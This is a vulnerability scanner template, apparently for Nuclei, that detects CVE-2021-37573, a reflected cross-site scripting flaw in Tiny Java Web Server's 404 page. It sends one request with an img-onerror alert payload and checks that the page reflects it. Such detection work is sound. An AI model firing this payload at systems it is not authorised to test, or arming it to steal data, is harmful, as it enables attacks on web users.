id: CVE-2021-37573

info:
  name: Tiny Java Web Server - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: A reflected cross-site scripting vulnerability in the web server TTiny Java Web Server and Servlet Container (TJWS) <=1.115 allows an adversary to inject malicious code on the server's "404 Page not Found" error page.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2021/Aug/13
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37573
    - https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-042.txt
    - http://seclists.org/fulldisclosure/2021/Aug/13
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-37573
    cwe-id: CWE-79
    epss-score: 0.00303
    epss-percentile: 0.6617
    cpe: cpe:2.3:a:tiny_java_web_server_project:tiny_java_web_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tiny_java_web_server_project
    product: tiny_java_web_server
  tags: cve,cve2021,xss,tjws,java,seclists

http:
  - method: GET
    path:
      - "{{BaseURL}}/te%3Cimg%20src=x%20onerror=alert(42)%3Est"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<H2>404 te<img src=x onerror=alert(42)>st not found</H2>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 404

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